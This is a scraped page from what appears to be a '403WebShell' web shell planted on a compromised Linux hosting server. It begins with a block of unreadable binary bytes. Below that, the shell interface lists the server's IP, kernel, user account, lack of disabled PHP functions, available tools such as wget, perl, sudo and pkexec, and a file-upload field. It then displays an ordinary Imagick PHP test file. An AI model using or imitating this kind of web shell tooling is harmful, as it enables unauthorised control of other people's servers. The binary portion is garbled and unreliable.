L���S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q
�K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/
&.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF
b�NMxL��)�R��"���6O!TH�H� 0 !�
) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ74�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g ��
E$�����
�
����$E$��"��D� � ������R��C��� E��H�M��G�D��B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x�
�xO%��X2�
P�n:R/��aHae+�Dm?#ǣ6�8�J�x�Di�M���j���5oQ7�-
<!
*�l��R2r/a!l)d� A"�E���� &�;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e�
w�u3��Pv�h""�`�Íx�LĹ��3��~ֺ�:���MDfJ�
�۵�W�%�S�X �)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d�C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P
&d����T���i�|�_
� Qi�#�`g:��:noM�
:V
�)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C
��W��|��9���zĸV {�;��n��V�m�I��.��PN�
����C��+��By�ѾHŸ:���
7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv,���Etx�BH��[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g:
���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C��"�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rxƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa
��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ
��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF�[�+9���-�wj���8�r�
,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK��#
�D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ;
403WebShell 403Webshell
Server IP : 173.249.157.85 / Your IP : 216.73.216.236 Web Server : Apache System : Linux server.frogzhost.com 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64 User : econtech ( 1005 ) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : OFF | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : / opt /cpanel /ea-php55 /root /usr /share /tests /pecl /imagick /tests / Upload File :
[ Back ] Current File : /opt/cpanel/ea-php55/root/usr/share/tests/pecl/imagick/tests/010_importimagepixels.phpt--TEST--
Test importimagepixels
--SKIPIF--
<?php require_once(dirname(__FILE__) . '/skipif.inc');
if (!method_exists("imagick", "importimagepixels")) {
die("skip imagick::importImagePixels not available");
}
?>
--FILE--
<?php
/* Generate array of pixels. 2000 pixels per color stripe */
$count = 2000 * 3;
$pixels =
array_merge(array_pad(array(), $count, 0),
array_pad(array(), $count, 255),
array_pad(array(), $count, 0),
array_pad(array(), $count, 255),
array_pad(array(), $count, 0));
/* Width and height. The area is amount of pixels divided
by three. Three comes from 'RGB', three values per pixel */
$width = $height = 100;
/* Create empty image */
$im = new Imagick();
$im->newImage($width, $height, 'gray');
/* Import the pixels into image.
width * height * strlen("RGB") must match count($pixels) */
$im->importImagePixels(0, 0, $width, $height, "RGB", Imagick::PIXEL_CHAR, $pixels);
var_dump($width, $height);
var_dump($im->getImageGeometry());
?>
--EXPECTF--
int(100)
int(100)
array(2) {
["width"]=>
int(100)
["height"]=>
int(100)
} Youez - 2016 - github.com/yon3zuLinuXploit